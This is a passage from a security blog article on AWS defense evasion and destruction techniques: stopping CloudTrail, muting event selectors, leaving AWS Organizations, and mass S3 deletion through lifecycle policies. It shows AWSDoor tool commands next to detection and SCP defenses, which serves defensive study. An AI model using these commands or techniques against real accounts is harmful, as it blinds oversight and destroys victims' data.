<p style="text-align: justify;"><strong>In AWS environments, CloudTrail and CloudWatch are two core logging and monitoring services </strong>that play complementary roles, but they serve very different purposes. CloudTrail is designed to log all API activity that happens within an AWS Account. It records every call made through the AWS Management Console, AWS CLI, SDKs, and other AWS services. This means when someone creates an EC2 instance, modifies a security group, or deletes a resource, CloudTrail captures the who, when, where, and what of that action. <strong>These logs are essential for auditing, forensic investigations, and tracking changes made across the infrastructure.</strong></p>
<p style="text-align: justify;">CloudWatch, on the other hand, <strong>focuses on operational monitoring</strong>. It collects and stores logs from services and applications, tracks metrics like CPU usage or memory consumption, and supports alarms and dashboards for <strong>real-time visibility</strong>. When an application writes logs or when you want to monitor system performance, CloudWatch is the tool used. It can also be configured to receive and <strong>store logs from Lambda functions, EC2 instances, or custom applications.</strong></p>
<p style="text-align: justify;">Network logging is also proposed by AWS through the VPC Flow Logs or VPC Mirroring services. Even though they can be of use for security purposes, their main utility are more operational monitoring oriented. This article will focus on Cloud Trail service.</p>
<p style="text-align: justify;">CloudTrail is enabled and logs the event for 90 days. This service is a logging baseline that cannot be limited or disabled.  However, additional logging capabilities can be enabled with the definition of trails in CloudTrail.</p>
<p style="text-align: justify;">CloudTrail will keep the log records and guarantee their integrity for a 90 day period, after which the logs are purged from the Event History. If an organization wants to ensure greater retention time or perform a specific real time monitoring based on those logs, it has to configure a <em>trail</em>. This configuration will duplicate the logs and forward them to an S3 bucket, on which can be plugged further security tooling.</p>
<p style="text-align: justify;">As a Cloud administrator, it is possible to create and Organization Trail that will replicate itself in the all the targeted Organization Account. When set, it is not possible for a targeted account to delete / deactivate the trail.</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Stop logging</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">While it is not <strong>easily possible to impact the logging capabilities of CloudWatch</strong>, it is possible to impact those of CloudTrail by simply deactivating the logging capability.</p>
<p style="text-align: justify;">This feature <strong>allows to stop a trail from logging the event without deleting it</strong>:</p>
<p> </p>
<figure id="attachment_27432" aria-describedby="caption-attachment-27432" style="width: 850px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27432" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-437x148.png" alt="Trail with logging capabilities stopped" width="850" height="288" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-437x148.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-71x24.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1-768x260.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_16-FR-Persitence-on-AWS.docx-Word-1.png 1349w" sizes="auto, (max-width: 850px) 100vw, 850px" /><figcaption id="caption-attachment-27432" class="wp-caption-text"><em>Trail with logging capabilities stopped</em></figcaption></figure>
<p> </p>
<p>While this technique is effective to impair specifics logging capabilities, it has severs draws back:</p>
<ul>
<li>limited effect: even though a specific trail will be impacted, Organization Trails cannot be evaded this way. In addition, Event History with its 90 days unalterable retention period will still be available</li>
<li>Noisy action: even if the stopping command is not detected, most SIEM solutions trigger alarms when the log flow stops.</li>
</ul>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop -s<br />[+] Trail logging stopped on 'management-events'</pre>
<p> </p>
<p>The limitation is that this will only deactivate trails defined in the current account and won’t remove trails defined at the organization level.</p>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p>On the defender side, this technique can be simply detected by looking at the GUI moreover, CloudTrail also record the StopLogging event hinting that a Trail has been tampered.</p>
<p> </p>
<h4>Event selector</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p>In AWS CloudTrail, <strong>event selectors allow fine-grained control over what types of events a trail records.</strong> These selectors can be configured to log management events, data events, or both. Management events capture operations that manage AWS resources, such as launching an EC2 instance or modifying IAM roles. These are typically high-level API calls made through the console, SDK, or CLI and are critical for auditing administrative actions.</p>
<p>By default, <strong>trails log management events, but users can modify event selectors to exclude them</strong> partially or completely. This flexibility can be useful for reducing noise or cost in environments with heavy automation, but it also introduces a risk. An attacker with the right permissions could tamper with a trail&#8217;s event selectors <strong>to suppress specific types of logs, such as disabling management event</strong> logging, thereby impairing visibility into changes made during or after a compromise.</p>
<p>Therefore, by altering event selectors it is <strong>possible to degrade the CloudTrail logging capabilities</strong>, making it harder for defenders to detect unauthorized activity or investigate incidents.</p>
<p>The management event can be simply deactivated. For the data event, in order to avoid having blank field on the GUI it is possible to enforce the event selector configuration to only log event related to a none-existing resource:</p>
<p> </p>
<figure id="attachment_27434" aria-describedby="caption-attachment-27434" style="width: 790px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27434" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-381x191.png" alt="Logging event from a non existing resource" width="790" height="396" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-381x191.png 381w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-768x385.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1-800x400.png 800w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_30-FR-Persitence-on-AWS.docx-Word-1.png 1184w" sizes="auto, (max-width: 790px) 100vw, 790px" /><figcaption id="caption-attachment-27434" class="wp-caption-text"><em>Logging event from a non existing resource</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>AWSDoor can be used to <strong>reconfigure the event selector</strong> in order to prevent data and management event logging:</p>
<p> </p>
<pre>python .\main.py --m CloudTrailStop<br />[+] Adding event selector on management-events<br />[+] Management events disabled on trail 'management-events'</pre>
<p> </p>
<p>Once the script is run, <strong>the event selector is configured. The trail still appears as active</strong>:</p>
<p> </p>
<figure id="attachment_27436" aria-describedby="caption-attachment-27436" style="width: 807px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27436" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-437x136.png" alt="Trail still considered as active" width="807" height="251" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-437x136.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-71x22.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1-768x238.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_40_44-FR-Persitence-on-AWS.docx-Word-1.png 1192w" sizes="auto, (max-width: 807px) 100vw, 807px" /><figcaption id="caption-attachment-27436" class="wp-caption-text"><em>Trail still considered as active</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">However, <strong>the event selector prevents further event</strong> logging:</p>
<p> </p>
<figure id="attachment_27438" aria-describedby="caption-attachment-27438" style="width: 1120px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27438" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-280x191.png" alt="Event selector preventing logging" width="1120" height="764" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-280x191.png 280w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-57x39.png 57w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word-768x525.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_04-FR-Persitence-on-AWS.docx-Word.png 1247w" sizes="auto, (max-width: 1120px) 100vw, 1120px" /><figcaption id="caption-attachment-27438" class="wp-caption-text"><em>Event selector preventing logging</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p>The creation of the event selector can be detected using the PutEventSelector event logged in CloudTrail:</p>
<p> </p>
<figure id="attachment_27440" aria-describedby="caption-attachment-27440" style="width: 779px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27440" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-159x191.png" alt="Event logged by CloudTrail" width="779" height="936" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-159x191.png 159w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-33x39.png 33w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1-768x922.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_30-FR-Persitence-on-AWS.docx-Word-1.png 880w" sizes="auto, (max-width: 779px) 100vw, 779px" /><figcaption id="caption-attachment-27440" class="wp-caption-text"><em>Event logged by CloudTrail</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Likewise, the analysis of the log collection and the volumetry would be an interesting IOC. If the log flow stopped, it is likely due to an attack.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Destruction</h2>
<p style="text-align: justify;">Attacks focused on data destruction are designed to <strong>cause important operational damage by permanently erasing or corrupting critical information and infrastructure</strong>. Unlike data exfiltration or privilege escalation, these attacks don’t aim to extract value or maintain access, but rather to disrupt business continuity, damage reputation, or sabotage systems beyond recovery.</p>
<p style="text-align: justify;">In cloud environments like AWS, <strong>destructive attacks can impact all types of resources</strong>, including storage resources, computing resources or configuration components like IAM roles and Lambda functions:</p>
<ul style="text-align: justify;">
<li><strong>Deleting S3 buckets</strong> can lead to the loss of backups, customer data, or reglementary / technical information (logging).</li>
<li><strong>Erasing EBS volumes or RDS snapshots</strong> can lead to total loss of application state or critical databases.</li>
<li>Formatting the AWS Account (by deleting all the possible services) can lead to a very long service interruption, even if the data are externally backup, especially if the infrastructure is not deployed through IaC, or if the IaC is destroyed as well.</li>
</ul>
<h2> </h2>
<h3 style="text-align: justify;">AWS Organization Leave</h3>
<h4 style="text-align: justify;">Organization Leave</h4>
<p style="text-align: justify;">AWS Organizations <strong>is a service that allows you to centrally manage and govern multiple AWS accounts</strong> from a single location. At the top of the hierarchy is the Organization service nested one management account (called the payer / master / management account) and one or more member accounts. These accounts can be grouped into organizational units, making it easier to apply policies or manage backup at scale.</p>
<p style="text-align: justify;">Each AWS account <strong>in an organization remains isolated in terms of resources and identity</strong>, but the organization can enforce policies such as Service Control Policies (SCPs) across all accounts that will enforce specific limitation on all accounts as a GPO does on a Windows domain. <strong>This structure is particularly useful for separating data and workloads</strong> by team, environment, or business unit while maintaining centralized governance.</p>
<p style="text-align: justify;">AWS also allows you to invite or attach an existing standalone account into an organization. This process can be initiated from the management account and requires the invited account to accept the request. Similarly, accounts can be detached and moved to another organization, though this action comes with restrictions. For example, certain AWS services or features may behave differently once an account is part of an organization, especially in terms of consolidated billing and policy enforcement. This capability can be useful for mergers, restructurings, or account lifecycle management but also opens up a possible attack vector if not closely monitored.</p>
<p> </p>
<figure id="attachment_27444" aria-describedby="caption-attachment-27444" style="width: 857px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27444" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-330x191.png" alt="Exemple of AWS Organization" width="857" height="496" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1-768x444.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_41_50-FR-Persitence-on-AWS.docx-Word-1.png 1223w" sizes="auto, (max-width: 857px) 100vw, 857px" /><figcaption id="caption-attachment-27444" class="wp-caption-text"><em>Exemple of AWS Organization</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">While the LeaveOrganization is a destructive operation, it can be also used to exfiltrate data before destruction. Instead of erasing all resources in a compromised AWS account, an attacker may choose to detach the account from the organization, retain all infrastructure intact, and slowly exfiltrate sensitive data.</p>
<p style="text-align: justify;">For example, a company is <strong>hosting a eShop application on AWS</strong>. The attacker who has compromised the AWS account uses the LeaveOrganization action to retrieve control over the eShop resource. This action removes the account from centralized control, effectively stripping away any Service Control Policies, centralized logging, or governance mechanisms previously enforced by the organization without impacting its availability.</p>
<p style="text-align: justify;">With full <strong>control over this now standalone account, the attacker can operate without oversight</strong>. The eShop continues functioning normally, serving customers and processing orders, but behind the scenes, the attacker has unrestricted access to all associated resources. They can read from S3 buckets, query the customer database, extract payment data, and silently exfiltrate banking information and personal details of every user without interrupting the service or triggering operational alarms.</p>
<p style="text-align: justify;">From the company’s perspective, <strong>once the account has left the AWS Organization, the security team loses visibility and administrative authority over it</strong>. They cannot easily shut down the impacted resources directly from their AWS account.</p>
<p> </p>
<figure id="attachment_27446" aria-describedby="caption-attachment-27446" style="width: 920px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27446" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-302x191.png" alt="Impact of AWS Organization leave" width="920" height="582" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-302x191.png 302w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1-768x485.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_42_05-FR-Persitence-on-AWS.docx-Word-1.png 1226w" sizes="auto, (max-width: 920px) 100vw, 920px" /><figcaption id="caption-attachment-27446" class="wp-caption-text"><em>Impact of AWS Organization leave</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Without admin access to the now-isolated account, <strong>the company has no way to disable services</strong>, suspend billing, or terminate the compromised infrastructure. This gives the attacker complete operational freedom, while the organization is left blind and unable to respond but request AWS Support.</p>
<p> </p>
<h4 style="text-align: justify;">Privileges needed</h4>
<p style="text-align: justify;">To execute the LeaveOrganization action and <strong>detach an AWS account from its organization</strong>, the attacker must possess <strong>elevated permissions within the targeted account</strong>. Specifically, the following conditions and IAM privileges are required:</p>
<ul style="text-align: justify;">
<li><strong>Account-Level Access</strong>: The attacker must have direct access to the member account they intend to detach. This means they must already be authenticated within that specific AWS account — either through stolen credentials, session tokens, or by exploiting vulnerable IAM roles or policies.</li>
<li><strong>organizations:LeaveOrganization Permission</strong>: This is the key IAM permission required to invoke the LeaveOrganization API call. It must be explicitly allowed in the attacker&#8217;s effective permissions. This action is only valid when executed from within the member account, not from the management account.</li>
<li><strong>Billing Access</strong> Although not strictly required to leave an organization, attackers with access to billing and account settings (via aws-portal:*, account:*, or billing:* actions) can further entrench themselves, update contact information, or lock out legitimate users after detachment. In addition most accounts created within an Organization are done so without payment details (because they inherits those from the payer account). However, for an account to be detached / standalone, it has to have this information filled.</li>
</ul>
<p> </p>
<h4 style="text-align: justify;">Defense and detection</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Preventing Unauthorized LeaveOrganization Calls</span></h5>
<p style="text-align: justify;">The most effective control is the use of<strong> Service Control Policies (SCPs).</strong> SCPs define the maximum permissions available to accounts within an AWS Organization and can explicitly deny the organizations:LeaveOrganization action, even if a local IAM user or role has been granted that permission.</p>
<p style="text-align: justify;">The LeaveOrganization operation is executed from within the member account itself, not by the management account. It means that an attacker does not need to fully compromise the AWS organization to perform the account detachment.</p>
<p style="text-align: justify;">The SCP, <strong>defined at the organization level, can prevent any user in the accounts to leave the organization</strong>. In this case, the attacker must first compromise the whole AWS organization before being able to perform the attack.</p>
<p style="text-align: justify;">The following policy will prevent any misuse of LeaveOrganization:</p>
<p> </p>
<pre style="text-align: justify;">{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "DenyLeaveOrganization",<br />      "Effect": "Deny",<br />      "Action": "organizations:LeaveOrganization",<br />      "Resource": "*"<br />    }<br />  ]<br />}</pre>
<p> </p>
<p style="text-align: justify;">This SCP should <strong>be attached directly at the root of the AWS</strong> <strong>Organization</strong> to ensure it applies to all member accounts. It ensures that no account can unilaterally leave the organization, even if compromised.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Detection and Monitoring</span></h5>
<p style="text-align: justify;">Even with SCPs in place, <strong>monitoring for LeaveOrganization attempts is essential for defense-in-depth</strong>. Indeed, even if the LeaveOrganization failed due to the SCP, having monitoring on the LeaveOrganization event could help detect the attack occurring on the AWS environment.</p>
<p style="text-align: justify;">For example, a CloudWatch Alarms to trigger alerts when the event LeaveOrganization or DisablePolicyType.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">S3 destruction</h3>
<h4 style="text-align: justify;">S3 standard deletion policy</h4>
<p style="text-align: justify;"><strong>Amazon S3 is one of the most widely used and trusted storage services</strong> within the AWS ecosystem. Organizations rely on it to store everything from logs and files to critical business data and backups. The destruction of S3 data can have far greater impact than the loss of a few compute resources, making it a high-value target for attackers.</p>
<p style="text-align: justify;">While uploading and storing data in S3 is straightforward, deleting large volumes of data is intentionally resource-intensive and time-consuming. When an S3 bucket is deleted or cleared, AWS performs a recursive, sequential deletion of every object meaning the process can take hours or days for large environments.</p>
<p style="text-align: justify;"><strong>Additionally, AWS enforces eventual consistency</strong> on object deletions, so even after a delete request, <strong>objects may temporarily persist</strong>. These design choices provide defenders with a crucial time window to detect and respond to deletion attempts before irreversible data loss occurs.</p>
<p> </p>
<h4 style="text-align: justify;">Lifecycle policy</h4>
<p style="text-align: justify;">Amazon S3 Lifecycle Policies provide an automated mechanism to <strong>manage the storage lifecycle</strong> of objects within a bucket. These policies allow users to define rules that transition objects to different storage classes or <strong>expire (delete) them after a defined period, based on criteria like object age</strong>, prefix, or tags. This automation helps organizations optimize storage costs and enforce data retention policies without manual intervention.</p>
<p style="text-align: justify;">However, <strong>lifecycle policies operate differently from manual processes</strong> and <strong>bypass the standard safeguards</strong> designed to slow mass deletions. An attacker who gains elevated privileges in an AWS account can create or modify a lifecycle policy that sets object expiration to the minimum allowed duration (1 day). <strong>Once applied, this policy is retroactive</strong>: all existing objects in the bucket will be marked for expiration and scheduled for removal, and all newly created objects will expire shortly after creation.</p>
<p style="text-align: justify;"><strong>Unlike manual deletions, lifecycle expirations are handled internally by AWS</strong> at scale and complete much faster. This can enable stealthy, rapid mass deletion of bucket contents without generating the volume of API calls or operational noise typical of manual recursive deletes. Since lifecycle policy changes may not trigger immediate or obvious alerts, such abuse poses a significant risk for undetected data destruction within AWS environments.</p>
<p style="text-align: justify;">As <strong>lifecycle</strong> <strong>policies are applied on a daily basis, the defender will have less than a day to detect the policy</strong> change, remove the deletion mark and revoke the attacker access.</p>
<p> </p>
<h4 style="text-align: justify;">AWSDoor</h4>
<p style="text-align: justify;">This technique is implemented on AWSDoor:</p>
<p> </p>
<pre style="text-align: justify;">python .\main.py --m S3ShadowDelete -n s3bucketname</pre>
<p> </p>
<h4 style="text-align: justify;">Detection</h4>
<p style="text-align: justify;">Detection of shadow deletions through S3 Lifecycle Policies can be easily missed because the deletion of objects via lifecycle expiration does not raise standard DeleteObject events in CloudTrail as manual deletions do.</p>
<p style="text-align: justify;">Instead, AWS internally handles the deletion process asynchronously, and it does not attribute the deletions to a specific user or role. Therefore, many security monitoring setups fail to recognize this as a malicious action aiming to impact data availability. <strong>The only reliable indicator of such an operation is the PutBucketLifecycleConfiguration API event</strong>, which logs the creation or update of a lifecycle rule by defining a new Expiration parameter.</p>
<p style="text-align: justify;">To detect potential abuse, a CloudWatch rule should be configured to monitor PutBucketLifecycleConfiguration events and automatically inspect the new policy configuration. If the policy includes an Expiration action set to the minimum allowed (1 day) or applies broadly to all objects this should be treated as a high-risk change.</p>
<p style="text-align: justify;">In sensitive environments, such configuration changes should trigger immediate alerts, <strong>automatic remediation</strong> and require manual approval. Since this method bypasses the typical audit trail of object-level deletes, early detection at the configuration level is essential to prevent silent and large-scale data loss: the defense team will only have one day to react.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Conclusion</h2>
<h3 style="text-align: justify;">CSPM</h3>
<p style="text-align: justify;">The article has shown how IAM configurations can be silently abused to maintain long-term access in AWS environments. Techniques such as AccessKey injection, trust policy backdooring, and the use of NotAction policies allow attackers to persist without deploying malware or triggering alarms.</p>
<p style="text-align: justify;">A Cloud Security Posture Management (CSPM) solution plays a key role in preventing these abuses. By continuously monitoring IAM configurations, detecting overly permissive policies, and identifying deviations from compliance baselines, a CSPM can surface suspicious changes early. For example, it can flag the creation of new AccessKeys on users who typically use SSO, or detect trust relationships established with external accounts. These capabilities help prevent IAM-based persistence from becoming entrenched.</p>
<p> </p>
<h3 style="text-align: justify;">EDR</h3>
<p style="text-align: justify;">Beyond IAM, attackers can leverage AWS resources themselves—such as Lambda functions and EC2 instances—to maintain access. The article detailed how poisoned Lambda layers, over-privileged roles, and SSM-based reverse tunnels can be used to persist without modifying IAM directly.</p>
<p style="text-align: justify;">A Cloud EDR complements CSPM by focusing on runtime behavior and execution context. It can detect unusual Lambda executions, unexpected API Gateway exposures, or EC2 instances initiating outbound tunnels. By correlating these behaviors with identity context and recent configuration changes, a Cloud EDR can surface persistence techniques that would otherwise go unnoticed. This behavioral visibility is essential to detect resource-based persistence in real time.</p>
<p> </p>
<h3 style="text-align: justify;">Backup and logging</h3>
<p style="text-align: justify;">Finally, the article explored how attackers can impair visibility and recovery by targeting logging and backup mechanisms. Disabling CloudTrail, modifying event selectors, deploying lifecycle policies for silent S3 deletion, or detaching accounts from AWS Organizations are all techniques that reduce oversight and enable long-term compromise or destruction.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Here again, CSPM and EDR provide complementary defenses. A CSPM can detect misconfigurations in logging pipelines, unauthorized lifecycle policy changes, or attempts to leave the organization. Meanwhile, a Cloud EDR can detect the absence of expected telemetry, sudden drops in log volume, or destructive API calls. Together, they ensure that visibility and recovery capabilities remain intact—even under active attack.</p>


<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/">AWSDoor: Persistence on AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
